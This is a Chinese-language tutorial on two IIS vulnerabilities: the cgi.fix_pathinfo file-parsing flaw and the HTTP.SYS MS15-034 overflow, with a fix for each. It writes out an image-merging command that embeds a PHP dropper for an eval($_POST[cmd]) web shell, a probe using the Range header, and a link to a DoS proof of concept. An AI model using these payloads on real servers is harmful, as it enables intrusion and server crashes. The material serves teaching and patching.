中间件漏洞篇 03 iis7 文件解析漏洞 HTTP.SYS远程代码执行漏洞
当安装完成后, php.ini里默认cgi.fix_pathinfo=1,对其进行访问的时候,在URL路径后添加.php后缀名会当做php文件进行解析,漏洞由此产生
复现是有两点需要注意
1.cgi.fix_pathinfo的值为1
当cgi.fix_pathinfo的值为1时,php会对文件路径进行修理
2.添加程序映射的时候,请求限制中的这个选项需要取消勾选
常用利用方法:将一张图和一个写入后门代码的文本文件合并将恶意文本写入图片的二进制代码之后,避免破坏图片文件头和尾 e.g. copy xx.jpg/b + yy.txt/a xy.jpg ###################################### /b 即二进制[binary]模式 /a 即ascii模式 xx.jpg正常图片文件 yy.txt 内容 <?PHPfputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?> 意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称为shell.php的文件 ###################################### 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php 即可执行恶意文本。 然后就在图片目录下生成一句话木马 shell.php 密码 cmd
1.配置 cgi fix_pathinfo(php inil中)为0并重启php-cgi程序
2.编辑映射模块->映射->打勾
HTTP.SYS是Microsoft Windows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,从IIS6.0引
入,IIS服务进程依赖HTTP.SYS
HTTP.SYS远程代码执行漏洞实质是HTTP.SYS的整数溢出漏洞,当攻击者向受影响的Windows系统发送
特殊设计的HTTP 请求,HTTP.sys 未正确分析时就会导致此漏洞,成功利用此漏洞的攻击者可以在系统
帐户的上下文中执行任意代码。
主要存在Windows+IIS的环境下,任何安装了微软IIS 6.0以上的Windows Server 2008 R2/Server
2012/Server 2012 R2以及Windows 7/8/8.1操作系统都受到这个漏洞的影响验证这个漏洞
Windows7、Windows server 2008 R2、Windows8、Windows server2012、Windows8.1和
Windows server 2012 R2
IIS7.5、IIS8.0、IIS8.5
访问网站
编辑请求头,增加
Range: bytes=0-18446744073709551615
字段,若返回码状态为416 Requested
Range Not Satisfiable,则存在HTTP.SYS远程代码执行漏洞。
GET / HTTP/1.1 Host: 目标IP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Range: bytes=0-18446744073709551615 Content-Length: 2
poc 地址 https://github.com/davidjura/MS15-034-IIS-Active-DoS-Exploit-PoC
使用IIS作为WEB容器且使用版本存在编号为MS-15034的远程代码执行漏洞。利用该漏洞可轻易使服务器宕机蓝屏。发送测试代码,若返回“Requested Range Not Satisfiable”证明存在此漏洞
安装修复补丁(KB3042553)
参考链接:https://www.pianshen.com/article/1695946015/
https://blog.csdn.net/nzjdsds/article/details/81367930